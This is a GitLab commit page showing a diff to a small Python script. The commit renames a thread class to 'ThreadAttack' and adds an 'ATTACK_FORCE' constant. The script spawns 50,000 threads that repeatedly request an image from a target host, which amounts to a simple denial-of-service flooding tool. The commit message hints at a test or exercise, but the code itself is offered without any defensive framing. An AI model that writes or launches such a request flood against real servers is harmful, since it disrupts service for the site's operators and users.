Skip to content
Snippets Groups Projects
Commit 7f370cdb authored by francois.hofer's avatar francois.hofer
Browse files

Class ThreadAttack created go to test !

parent fc13fe93
No related branches found
No related tags found
No related merge requests found
......@@ -10,8 +10,9 @@ FIL_DIR = "/Image.jpg"
PATH = PREFIX+HOST+":"+PORT+FIL_DIR
req = requests.get(PATH)
ATTACK_FORCE = 0.1
class ThreadCreator(threading.Thread):
class ThreadAttack(threading.Thread):
def __init__(self):
threading.Thread.__init__(self)
......@@ -22,7 +23,7 @@ class ThreadCreator(threading.Thread):
def create_thread(n: int):
threads = []
for i in range(n):
threads.append(ThreadCreator())
threads.append(ThreadAttack())
return threads
@staticmethod
......@@ -32,5 +33,5 @@ class ThreadCreator(threading.Thread):
time.sleep(attack_force)
threads_list = ThreadCreator.create_thread(50000)
ThreadCreator.launch_attack(threads_list, 0.1)
threads_list = ThreadAttack.create_thread(50000)
ThreadAttack.launch_attack(threads_list, ATTACK_FORCE)
0% Loading or .
You are about to add 0 people to the discussion. Proceed with caution.
Please to comment